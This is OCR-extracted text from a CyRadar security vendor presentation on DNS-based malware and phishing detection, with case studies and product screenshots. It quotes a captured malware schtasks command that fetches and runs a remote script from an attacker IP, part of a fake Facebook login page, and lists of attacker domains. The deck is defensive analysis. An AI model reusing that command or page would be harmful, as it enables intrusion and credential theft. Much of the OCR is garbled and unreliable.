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Case study 1: MacOS spyware CyRadar)

From: Hone oo gmall.com 3 | e R PO P R i
Date: December 8, 2017 at 4:56:48 PM GMT+7 From: T ——( s a1 K

To: I Subject: Re: Mdt s tai liéu t& cao chua dugc cong khai
Sublect: DomikhlSumel Date: January 2, 2018 at 2:14:27 PM GMT+7
To: >

GUri chj don khiéu nai.
Chj xem x{& ly dum em.

Cém on! export to word file
&+ ' Don khieu nai.zip (190.3 KB)
Macro Don khieu nai.doc Send basic info

Dump

g sysaudiod

Commands

macOS

Drop new malware

launchpad

Call home




MacOS spyware case study . CyRadar)
Why CyRadar can detect it ?

Malware Graph Technology

cache.spotlight-apple.com

tmc.asperae.com tips.annavogtom.com

DomainNames | IPs

garerown.com 176.107.185.249 (Ukraine)
news.garerown.com 216.244.71.227 (United States)
cmc.asperae.com

tips.annavogtom.com
api.applecloudsync.com
machine.freyerste.com machine.freyerste.com
cache.spotlight-apple.com

docs.hristinallemare.com

docs.hristinallemare.com

216,244.71.227

api.applecloudsync.com



Case study 2: File-less malware case study CyRadar)

185.45.193.195 JSON

“range_request”: false,

"referrer”:

“request_body_len": @,
"resource”: "185.45.193.195",
“resp_filenames": [],
“resp_fuids": [,
“resp_mime_depth": 1,

“"resp_mime_types”: [],
"response_body_len": 0,
“"status_code”: 200,
“"status_msg": "OK ",
“tags": [1,
"trans_depth”: 1,
"ts": 1509940346.476481,
"uid": "C@9dGr1UBCMOGIXFH",
"uri®: "/safebrowsing/rd/C1tOb12nLW1IbHehcmUtd2hUdmFzEBAY7-@KIOkUDC7h2",
"user_agent": "Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.0; rv:11.) like Gecko",
"username”
SIEs

"10.17.31.185",
60867,
)_| ": "185.45.193.195",




Case study 2: File-less malware case study

"schtasks /create /sc MINUTE /tn ""GoogleUpdateTasksMachineCore"" /tr ""\""" & RDir &
"\ProgramData\YING.exe\"" //E:vbscript /b " & RDir & "\ProgramData\YANG.txt localhost
\""sc\""r\""i\""p\""t:http://185.45.193.195:80/kill.jpg"" /mo 33 /F"

Bl - - _____________ Al |

File Action View Help

e« 2@ BE

(D Task Scheduler (Local)
4 3 Task Scheduler Library
2 Microsoft
2 wpp

Next Run Time Last Run Time
11/6/2017 12:10:00 ...

Name Status Triggers

Ready At11:37 AM on 11/6/2017 - After triggered repeat every 00:33:00 indefinitely.

(€] GoogleUpdateTasksMachineCore Never

| {1

General | Triggers | Actions | Conditions | Settings | History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task property pages using the Properties command.

Action Details
Start a program "C:\ProgramData\YING.exe" //E:vbscript /b C:\ProgramData\YANG.txt localhost "sc"r"i"p"t:http://185.45.193.195:80/kill jpg

CyRadar)



Case study 2: File-less malware case study — Why CyRadar detect it ? CyRadar)



Case study 2: File-less malware case study — Why CyRadar detect it ? CyRadar)

18x.aaa.bbb.ccc/kill.jpg

L,

L} 18x.aaa.bbb.ccc/safebrowsing/rd/CINnu27nLO8hbHdfgmUtc2ihdmF

Fileless malware



Case study 2: File-less malware case study — Why CyRadar detect it ? CyRadar)

Anomaly Detection Feature (Human vs Malware’s activities)

* Internet Requests
« Time

* Frequency

* File type

« Bandwidth

* User agent

* Newly seen in the network ,
CyRadaﬁ\ Overview

e
@ Overview
Time Client IP User Resource Type Priority
Q Reports
06/11/2017 10:52:27 10.17.31.185 - 185.45.193.195
6 cateway - 06/11/2017 10:52:23 10.17.31.185 - 185.45.193.195 =
A Notifications - 06/11/2017 10:52:20 10.17.31.185 - 185.45.193.195
06/11/2017 10:52:14 10.17.31.185 - 185.45.193.195 sy ] =
06/11/2017 10:51:56 10.17.31.185 - 185.45.193.195 =
06/11/2017 10:51:53 10.17.31.185 - 185.45.193.195  critical |
06/11/2017 10:51:50 10.17.31.185 - 185.45.193.195 =
06/11/2017 10:51:47 10.17.31.185 - 185.45.193.195 =
06/11/2017 10:51:25 10.17.31.185 - 185.45.193.195
06/11/2017 10:51:23 10.17.31.185 - 185.45.193.195 =

Showing 711 to 720 of 768 entries Previous 1



DNS Analysis application at CyRadar CyRadap
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DNS Analysis application at CyRadar

CyRadar Products

ccccc
oy
lllll

nnnnn

CyRadar TIP

CyRadar EDR

CyRadar Advanced Threat Detection
CyRadar Email Secure Gateway
CyRadar WAF

CyRadar SIEM

CyRadar Vulnerability Assessment

CyRadar

Intelligence Platform

> ] VIRUSTOTAL

Top security vendors

CyRada@

Partners
An email provider in Asia
An MSSP in Europe

An ISP in Vietham



MALWARE & PHISHING DETECTION - Approaches CyRadar)

Before | During After

Attacks § Attacks § Attacks




MALWARE & PHISHING DETECTION - Approaches CyRadar)

During

Attacks




During Attacks CyRadar)

S
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During Attacks

CyRadar%

130K — 150K new malicious domain/day — 4.5M new malicious domain/month

CyRadaﬁ\

@ Overview

B

Ik
A
5)

&

Reports

EDR

Domain Analysis

DNS History

Gateway

O\/er\/|eW Nguyen Minh Duc ~
Recent Malicious Resources - 4325972 Records 2023-05-27 t0 2023-06- = &@
300000
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200000
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o > > > > > > > 53 53
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During Attacks

Partnership with Google

LS
6 @ 6 security vendors flagged this URL as malicious
/90 http://zxczxdfs.vip/

2zxczxdfs.vip

Community Score

DETECTION DETAILS COMMUNITY

(¥ Reanalyze

Status
200

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (O

CyRadar @ Malicious Emsisoft
Kaspersky @ Phishing Netcraft
Seclookup @ Malicious Webroot
Abusix @ Clean Acronis
ADMINUSLabs @ Clean AICC (MONITORAPP)

AlienVault alphaMountain.ai

(D Phishing
@ Malicious
D Malicious
©) clean
©) clean

Q Search ¢ Graph 4% API

Last Analysis Date @
a moment ago é’

Do you want to automate checks?

CyRadar)



During Attacks

error-29nc9.stream JSON Investigate

Malicious Domains

)

198.23.150.82 security-08mg8.stream 6 warnlng-1vBm18.slmam
security-18mr8.stream / )

rning-2wifi4.stream ya
('9/

support-18mr8.stream ;
error-29nc9.st

support-29nc9.stream

¢
N
E
N
©w
s
2
hd
a2
e
3
E

162.255.119.73 6

security-08mg8.stre

Malware Graph Technology

CyRadar)



During Attacks CyRadar)

<html>

<head>

<meta charset="utf-8">

<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<title>Facebook'a girig yap | Facebook</title>

<link href="gtyle.css" rel="stylesheet" type="text/css">

</head>

faceboook.run,

boook.run/yeni2/

<body>

<div class="ortarenk">

<div class="header">

<center><div class="header_content">

7 <img src="imagesx/fb_logo.png” alt="Facebook" title="Facebook'a git">

E-posta veya Telefon

Sifre

Girig yap

</div></center>
</div>

<div class="login">
23 <div class="login_content">

<div class="form">

27 <form action="index.php" method="post">

28 <div class="fr_title"></div>

29 <div class="fr_element"><input type="text" class="input" name="username" id="uss" placeholder="E-posta veya Telefon">

</div>
| <div class="clear"></div>
Yeni Hesap Olugtur <div class="formb"></div>
32| <div class="fr_title"></div>

31| <div class="fr_element"><input type="password" class="input" name="password" placeholder="§ifre"></div>
w4 <div class="clear"></div>

3 <div class="buttonarea">
<input type="hidden" name="login_now" value="1">
38 <input type="submit" class="bluebutton" value="Girig yap">

40 <input type="submit" class="greenbutton" value="Yeni Hesap Olugtur">

Turkcge Kurdi (Kurmanct) %

A - English (UK 2
= S ~( ) 4 </form>
Zaza Espanol w </div>
Portugués (Brasil) - —
47| </div>
48| </div>
9 </div>

Facebook ©2018

Machine Learning to detect phishing



MALWARE & PHISHING DETECTION - Approaches CyRadar)

After

Attacks




After Attacks CyRadar)
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After Attacks CyRadar

Anomalies Scanning Behavior all Anomalies Clients all

Anomaly DeteCtlon @ ScanlP () ScanPort @ 103.15.136 @ 10.3.17.241 @ 10.3.16.234 [ 10.3.16.62

Frequency 10.3.17.169 (@ 10.3.17.177
90
80
10.3.17.177
70 -
60
50 10.3.15.136
4
10.3.16.62
3 4
20
s
10 10.3.16.234
: : T T T T T T
Anomalies / Direct IPs
11:00 11:05 11:10 11:15 11:20 11:25
08-20 08-20 08-20 08-20 08-20 08-20
10.3.17.241
Direct IPs
Show 10 v entries Search: Overview JSUN
A Anomalies
Time It ClientIP User Agent Host URI Action
Direct IPs {
30/11/2017152229  1031.22.23 Mozila/5.0 120.138.74.171 / Feslih B IR R A o SRy
EZDCED s R A
30/11/201715:22:30 19216814122 Moxzilla/5.0 120.138.74.216 / SRR PR e SRR e LA R L
EDEEmD S ey
30/11/2017 152237 192168.13.26 Dalvik/1.6.0 (Linux; U Android 4.4.2; SM-T231 Build/KOT49H) 216.58.203.14 /generate_204 [225how [ @ elete | "ld":
"10.16.36.61",
30/11/2017 15:22:38 10.161.27.196 Mozilla/5.0 91.108.56.119 Japi m 49335,
"61.111.8.189",
30/11/2017 15:22:39 192.168.13.26 Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T231 Build/KOT49H) 216.58.203.14 /generate_204 m : 80
30/11/2017 15:22:53 10.161.27.136 Mozilla/5.0 91.108.56.191 /api "method' "GET",
"referer”: ",
30/11/2017 15:22:53 10.31.23.174 Mozilla/5.0 120.138.74.135 / "resp_mime_types": "",
"status_code": 200,
30/11/2017 15:22:54 10.156.35.6 Mozilla/5.0 49.213.114.34 / "ts": 1511410547.2672,
"uid": "CNzdczdmaxyCj307y7",
30/11/2017 15:22:54 10.17.20.230 Mozilla/4.0 (compatible; MSIE 6.0; DynGate) 195.149.177.4 /din.aspx?s=11 "uri": "/kmp?mode=play&guid={49D2BC22-AA40-4123-A9A8-EABDBDOAF75D}&env=(4.0.3.1)&screen=video&acodec=No co
dec&vcodec=AVC1",
30/11/2017 15:23:03 192.168.13.143 Mozilla/5.0 120.138.69.142 / "user_agent": "http_parser"
}
Showing 1 to 10 of 431 entries




After Attacks CyRadar)

CyRada Overview Administrator ~

C&C Callback

Overview
Malicious Connections Map all Most Affected Clients all
Investigation
2000
Reports 1500
1000 I 7
500 { |
(1
Anomalies o - | HEN -
& > o >
Ko NG o4 >
o A
Notifications o AV o KY
NS N N
Gateway i Client IPs
Emails
Malicious Hostnames all
6000
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2000
o I e
Qw\“*y N ; s
oS
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o & &

i Hostnames

Recent Malicious Histogram: 11343 Events - 11339 Connections & 4 Files 2018-08-14t02018-08- = &




After Attacks CyRadar

Using Machine Learning to detect DGA (Domain Generation Algorithm)

sanlianxiong.net

theresilientjourney.com

aiirbus.com

—

gjodafota.com

nrdldm.info

ga5390fad.net gjodafota.com

ga5390fad.net

II il

culebrasworld.net

*DGA: Domain Generation Algorithm
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Before

Attacks




Before Attacks - Case study #1: VNA CyRadar

20ef6217f1d27fa929

c4b58008e179a7 Know the malicious

resource 1 year before the
attack

09/2014

ey lEem 5c9c8604548b8c18

87bef9f1ebea2bd

10/2015 = = = = == = = = = 07/2016

« - | >

03/2015
% 193.234.224.23 (Italy)

08 playball.ddns.info
% o o

nvedia.ddns.info

air.desvn.org

04/2014

Shenzhen Longgang Xingjianxing Electrical Line

37cbdaf82e74bc3bf 04393c88682c26d15
7655becfcc8a7f9 d224133a5cfaeeb

Before the Attack After the Attack



From an idea... CyRadap

New Resource New Resource




Before Attacks - Case study #2: From VNA to unknown
CyRadar)

attacks

net2.apfinhtoquoc.com
112.175.79,57

@

\
anninhgoquoc.com
dns.ddsvn.org
,‘
|
|
/

|
|

dwda@%quoc‘com ;"
Q.
" dcsvn .org\
Q ~a.
air.dcsvn .or& B \\ﬁ

Goopdate.dll (5727deb1b7d€3dlfad1176406181ea7f)
cgi.dgsvn.org

\
\

E:\E SH4E\HN(QF)_140825\MyHNStubDI\Release Smc\Goopdate.pdb 27 255, BXES_ 175

\

A

\N
\

Goopdate.dll (aa381d31h906e54 7f020ac0040dfffcc) —
/}gﬁ/nexpress,org \\\\

g

vnexpress.org

BAO CAO TONG KET NAM 2015.doc



Before Attacks - Malware Graph Technology

error-29nc9.stream JSON Investigate

IPs Malicious Domains

198.23.150.82 security-08mg8.stream

G warning-1bmr8.stroam G

secunly-18mr§sgream f

N\ [ spci]rlly-ZQnCQ.stream

support-18mr8.stream
error-29nc9.st

support-29nc9._stream

162.255.119.73

CyRadar)

security-08mg8.stre



Before Attacks - Predictive Analytics

New resisted

domain Detected
> First Sy by most
. - vendor . of
Build phishing community
. vendors
’site First }
victim
Jun/29/2023
Detect
Phishing

Spreading via
Mail/Chat/SMS

CyRadar)

Safe




Before Attacks - Predictive Analytics CyRadar

CyRadar) Domain Analysis / Domain Trend

alert-54eg4.stream 2018-03-27 [ phishing J CyRadar Predictive Analytics | alert ]
alert-55eh5.stream PIRERVES YA Phishing ] CyRadar Predictive Analytics ] alert ]
alert-56ei6.stream PLRERVES VAN Phishing | CyRadar Predictive Analytics | alert ]
B Domain Analysis
alert-57ej7.stream 2018-03-27 [ phishing ] CyRadar Predictive Analytics | alert |
One engine detected this URL
Domain Trend URI http://alert-57ej7.stream/
R falert-57ef
alert-58ek8.stream 20180327 (I [ alert ] f Host alert-57ej7.stream (3
Last analysis 2018-03-27 09:10:58 UTC
=y
alert-59el9.stream 2018-03-27 [ phishing ] CyRadar Predictive Analytics | slert ] (1/67)
alert-60em0.stream 2018-03-27  phishing | [ alert | Detection  Details  Community
CyRadar A Phishing ADMINUSLabs (V]
alert-61en1.stream 2018-03-27 | phishing |  alert } AegisLab WebGuard ) — )
: Antiy-AVL ] Avira V]
alert-62e02.stream 2018-03-27 [ phishing J CyRadar Predictive Analytics ] alert ]
Baidu-International (V] BitDefender (V]
alert-63ep3.stream 2018-03-27  phishing ] [ alert ] Bk o CSIRT V]
Certly (V] CLEAN MX (V]
Comodo Site Inspector (V] CyberCrime (V]
desenmascara.me (V] DNs8 (V]
Drweb (V] Emsisoft (V]
ESET (V] Fortinet (V]
FraudScore (V] FraudSense (V]



Summary CyRadar)

MALWARE & PHISHING DETECTION using DNS ANALYSIS at CyRadar

* Machine Learning to detect Phishing (domain name, URLs meaning + content of web
page)

Machine Learning to detect botnet with DGA Command & Control

Anomaly detection in DNS traffic

Malware Graph: Analyze the graph relationship between malicious IPs and Domains

Predict the malicious domain name



Thank you for your attention!

More questions about CyRadar?

Email: d@cyradarcom
Web: www.cyradarcom

CyRadar)


mailto:d@cyradar.com
http://www.cyradar.com/

